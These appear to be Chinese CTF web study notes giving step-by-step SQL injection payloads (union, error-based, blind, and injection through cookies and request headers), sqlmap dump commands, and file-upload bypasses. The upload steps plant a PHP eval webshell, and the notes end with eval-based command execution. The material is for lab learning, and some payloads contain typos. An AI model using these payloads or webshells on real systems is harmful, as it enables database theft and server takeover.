CTF web笔记
SQL整数型注入
1,尝试闭合点
输一个1,2
2,判断列数
id=1 order by 2
id=1 order by 3
3,联合查询,判断回显位置
/?id=1 union select 1,2
执行数据库语句
4,执行数据库语言
-1 union select 1,databsae()
5,查询当前数据库下的表名
id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'
6,查询表下的字段
?/id=1 union select 1,group_concat(column_name) from information_schema.colums where table_name='flag'
7,输入字段值
?id=-1 union select 1,flag from sqli.flag
字符型注入
字符型注入,用#来过滤掉后面的'
1,闭合方式
/?id=1' --+'
2,查看回显字段的位数
id=1' order by 2 --+'
id=1' order by 3 --+'
3,判断回显的位置
-1' union select 1,2 --+'
使用sqlmap工具
sqlmap -u url/id=1 --dbs #id=1的时候的数据库
sqlmap -u url/id=1 -D sqli --tables #id=1的时候,数据库sqli表
sqlmap -u url/id=1 -D sqli -T flag --columns #id=1 sqli数据库中flag列
sqlmap -u url/id=1 -D sqli -T flag -C flag --dump #id=1 sqli数据库的flag表中的flag具体值
SQL报错注入
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的,就是在可以进行sql注入的位置
,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。
1,判断回显位置
2,使用updatexml()构造payload
select updatexml("abc","//div/p/text()","abcd")的意思是把"abc"换成"abcd",而服务器要通过Xpath
路径"//div/p/text()"找到"abc"。如果xpath路径格式出错了,则会把校验xpath路径后的结果通过报错信
息显示出来,如果我们把xpath路径改成我们想知道的信息,结果就会通过报错信息显示出来。
-1 and updatexml(1,concat(1,database()),2) 可以通过报错信息得到当前服务器使用数据库的名字'sqli'
3,获取表名
-1 and updatexml(1,(concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='sqli'))),2)
发现flag表
4,获取字段
-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name='flag'))),2),
发现flag字段
5,获取字段值
-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2),得到flag
布尔盲注
1,查询回显
输入1,2 回显query_sucess 和query_false
2,工具爆库
sqlmap -u "url" --dbs#发现sqli库
3,爆表
sqlmap -u "url" -D sqli --table #发现flag表
4,爆列
sqlmap -u "url" -D sqli -T flag --columns #发现flag字段
5,爆字段
sqlmap -u "url" -D sqli -T flag -C flag --dump #得到flag
时间盲注
1,爆库
sqlmap -u "url" --dbs --batch #发现sqli库
2,爆表
sqlmap -u "url" -D sqli --tables#发现flag表
3,爆列
sqlmap -u "url" -D sqli -T flag --columns #发现flag字段
4,爆字段
sqlmap -u "url" -D sqli -T flag -C -flag --dump #得到flag
MySQL结构
1,查看回显字段的位数
输入1,2
sqlmap -u "url" --dbs
2,查询数据库名
id=-1 union select 1,database()
sqlmap -u "url" -D sqli --tables
3,查询数据库表名
id=-1 union select 1,group_concat(table_name) from information_schema,tables where table_shema='sqli'
sqlmap -u "url" -D sqli -T whvvzxsne --cloumns
4,查询字段
sqlmap -u "url" -D sqli -T qtcwgcmzhb -C jskchsag --dump
Cookie注入
修改cookie值
用bp抓包之后,修改cookie值
1,
查看回显位置
Cookie:id=-1 union select 1,2;
2,查看当前数据库
Cookie: id=-1 union select 1,database64();
3,查看表名
Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1);
4,查询字段
Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='trxffasksh' limit 0,1);
5,查看字段值
Cookie:id=-1 union select 1,(select Bwigsg from shuyggsa limit 0,1);
UA注入
抓包后,修改User-Agent作为注入口
1,
查看回显位置
User-Agent:
id=-1 union select 1,2;
2,查看当前数据库
User-Agent:
id=-1 union select 1,database64();
3,查看表名
User-Agent:
id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
User-Agent:
id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1);
4,查询字段
User-Agent:
id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='trxffasksh' limit 0,1);
5,查看字段值
User-Agent:
id=-1 union select 1,(select Bwigsg from shuyggsa limit 0,1);
Refer注入
抓包之后的注入点是Referer
1,
查看回显位置
Referer:
id=-1 union select 1,2;
2,查看当前数据库
Referer:
id=-1 union select 1,database64();
3,查看表名
Referer:
id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
Referer:
id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1);
4,查询字段
Referer:
id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='trxffasksh' limit 0,1);
5,查看字段值
Referer:
id=-1 union select 1,(select Bwigsg from shuyggsa limit 0,1);
过滤空格
1,确认闭合
?id=1/**/or/**/1=1 //测试or,and等特殊字符是否被过滤
2,查看回显字段的位数
?id=1/**/order/**/by/**/2; 页面正常
?id=1/**/order/**/by/**/3; 页面正常
3,查看回显位置
?id=-1/**/union/**/select/**/1,2 查看回显位置
4,查看当前数据库
-1/**/union/**/select/**/1,database()
5,查看表名
表名1
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/0,1)
表名2
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/1,1)
ID: imrqzusgig
Data: news
6,查询字段
?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='imrqzusgig'/**/limit/**/0,1)
Data: sxiiqtwdft
7,查看字段值
?id=-1/**/union/**/select/**/1,(select/**/sxiiqtwdft/**/from/**/imrqzusgig/**/limit/**/0,1)
XSS 跨站脚本攻击
XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。
特点:能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
类型:
DOM型:属于反射型的一种,利用非法输入来闭合对应的html标签。数据流向是URL→浏览器。
存储型:危害大。相关源代码存放于服务器,用户浏览该页面时触发代码执行。
反射型:需要攻击者提前构造一个恶意链接来诱使客户点击。
防御:
输入验证
数据消毒,过滤有害输入,如<> ’ " # & JavaScript expression等。
黑名单,过滤可能造成危害的符号及标签
白名单:仅允许执行特定格式的语法。
文件上传
无验证
1,抓包,上传一句话木马
<?php @eval($_POST[a]);?>
2,中国蚁剑连接
找到当中的flag的文件夹,flag在里面
前端验证
直接查看网页源代码,发现只能上传.jpg,.png.gif三种格式的文件,前端上传
1,抓包后上传图片格式
将之前上传的一句话木马的文件名后缀改成.jpg类型
2,修改数据包类型
Content-Disposition: filename="1.jpg"
Content-Type: image/jpeg
3,连接中国蚁剑
连接成功后,查找flag的文件夹
.htaccess
一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。
1,
查看源代码,发现文件后缀都被禁用了
2,上传.htaccess文件
Content-Disposition: filename=".htaccess"
Content-Type:
AddType application/x-http-php .png //.png文件当作php文件解析
3,上传png的文件
Content-Disposition: filename="1.png"
Content-Type: image/jpeg
<?php @eval($_POST['a']);?>
4,进行连接
找到当中的flag的文件夹,flag在里面
MIME绕过
MIME(Multipurpose Internet MailExtensions)多用途互联网邮件扩展类型。
常见的MIME类型
#text表明文件是普通文本
text/plain
text/html
#image表明是某种图像或者动态图(gif)
image/jpeg
image/png
#audio表明是某种音频文件
audio/mpeg
audio/ogg
audio/*
#video表明是某种视频文件
video/mp4
#application表明是某种二进制数据
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream
1,文件上传
2,修改数据包
Content-Disposition: filename="1.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['a']);?>
3,连接中国蚁剑
找到当中的flag的文件夹,flag在里面
00截断
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00
1,上传带有一句话木马的文件
2,修改数据包
POST /?road=/var/www/html/upload/123.php%00 HTTP/1.1
3.连接中国蚁剑
找到当中的flag的文件夹,flag在里面
双写后缀
介绍 发现文件成功,但后缀名缺失
1,上传一句话木马文件 .jpg
2,修改数据包
Content-Disposition: filename="1.pPHphp"
Content-Type: image/jpeg
<?php @eval($_POST['a']);?>
3,连接中国蚁剑
找到当中的flag的文件夹,flag在里面
文件头检查
图片的文件头:GIF89a
1,上传一句话木马文件
2,修改数据包
------WebKitFormBoundaryff32JeQTam0WpVd7
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
GIF89a
<?php @eval($_POST['777']);?>
3,连接中国蚁剑
找到当中的flag的文件夹,flag在里面
REC
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
eval执行
1.查看代码
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
代码提示将命令赋给cmd执行
2.查看当前位置的文件
/?cmd=system("ls");
查看根目录文件,发现flag_898文件
3.获取flag_898文件,得到flag
/?cmd=system("cat /flag_898");
文件包含
isset()函数
ctfhub=system("ls /");
ctfhub=system("cat /flag");
php://input
查看phpinfo,发现以下字段,证明是可以使用php://input的。
allow_url_fopen On
allow_url_include On
1,bp抓包
2.修改数据包
POST /?flie:php://input
<?php system("ls /")?>
查询到flag_28869
修改<?php system("ls /")?>为 <?php system("cat /flag_28869")?>
得到flag
读取源代码